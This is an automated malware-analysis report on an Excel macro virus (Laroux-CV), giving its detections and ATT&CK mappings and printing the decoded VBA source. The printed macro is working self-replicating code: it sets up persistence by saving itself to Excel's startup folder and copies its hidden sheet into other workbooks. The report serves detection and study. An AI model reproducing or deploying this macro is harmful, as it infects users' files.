MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The file is identified as a malicious Excel 5 macro virus (Laroux-CV) by multiple critical heuristics. The auto_open macro executes a check_files subroutine which attempts to save a copy of itself as 'PLDT.XLS' in the application's startup path, indicating an attempt to establish persistence. The macro also manipulates sheet visibility and workbook properties, common behaviors for this type of malware.
Heuristics 4
-
ClamAV: Xls.Trojan.Laroux-28 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Laroux-28
-
Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUSLegacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10204 bytes |
SHA-256: 926cadb6aae7f7ed5a8fb38f26fa0fbe0f6776c0e8951592800c8297a2eab986 |
|||
|
Detection
ClamAV:
Xls.Trojan.Laroux-28
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "pldt"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = "check_files"
' wbook$ = ActiveWorkbook.Name
' If wbook$ = "4300 Rack" Then
' Workbooks(wbook$).Calculation = xlManual
' Else
' End If
End Sub
Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PLDT.XLS")
If m$ = "PLDT.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("pldt").Visible = True
Sheets("pldt").Select
Sheets("pldt").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PLDT.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("pldt").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "PLDT.XLS!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "pldt" Then
Workbooks("PLDT.XLS").Sheets("pldt").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("pldt").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "PLDT.XLS!check_files"
Case Else
End Select
End Sub
Function Chkdgt(ByVal acctnbr As String) As Variant
Dim fstnine As String
Dim m As Integer
Dim totalnumtoadd As String
Dim f As Integer
Dim chkdigcalc As Integer
'********************************
'Check Digit Calculation
'********************************
fstnine = Left$(acctnbr, 9)
For m = 1 To 9
Select Case m
Case 1, 3, 5, 7, 9
totalnumtoadd = totalnumtoadd & Format$(Val(Mid$(fstnine, m, 1)) * 2, "00")
Case 2, 4, 6, 8
totalnumtoadd = totalnumtoadd & Mid$(fstnine, m, 1)
End Select
Next m
For f = 1 To Len(totalnumtoadd)
chkdigcalc = chkdigcalc + Val(Mid$(totalnumtoadd, f, 1))
Next f
chkdigcalc = 100 - chkdigcalc
'*********************************
Chkdgt = Left(acctnbr, 3) & "-" & Mid(acctnbr, 4, 5) & "-" & Right(acctnbr, 1) & "-" & Right$(chkdigcalc, 1)
End Function
' Processing file: /opt/analyzer/scan_staging/7cc073ea9bea47c7bd2aa2b0fa0f30a2.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/pldt - 5177 bytes
' Line #0:
' Line #1:
' Line #2:
' FuncDefn (Sub auto_open())
' Line #3:
' Line #4:
' LitStr 0x000B "check_files"
' Ld Application
' MemSt OnSheetActivate
' Line #5:
' Line #6:
' QuoteRem 0x0000 0x0020 " wbook$ = ActiveWorkbook.Name"
' Line #7:
' QuoteRem 0x0000 0x0020 " If wbook$ = "4300 Rack" Then"
' Line #8:
' QuoteRem 0x0000 0x0030 " Workbooks(wbook$).Calculation = xlManual"
' Line #9:
' QuoteRem 0x0000 0x0008 " Else"
' Line #10:
' QuoteRem 0x0000 0x000A " End If"
' Line #11:
' Line #12:
' Line #13:
' EndSub
' Line #14:
' Line #15:
' FuncDefn (Sub check_files())
' Line #16:
' Ld Application
' MemLd StartupPath
' St c$
' Line #17:
' Ld c$
' LitStr 0x0001 "\"
' Concat
' LitStr 0x0008 "PLDT.XLS"
' Concat
' ArgsLd Dir 0x0001
' St m$
' Line #18:
' Ld m$
' LitStr 0x0008 "PLDT.XLS"
' Eq
' If
' BoSImplicit
' LitDI2 0x0001
' St p
' Else
' BoSImplicit
' LitDI2 0x0000
' St p
' EndIf
' Line #19:
' Ld ActiveWor
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.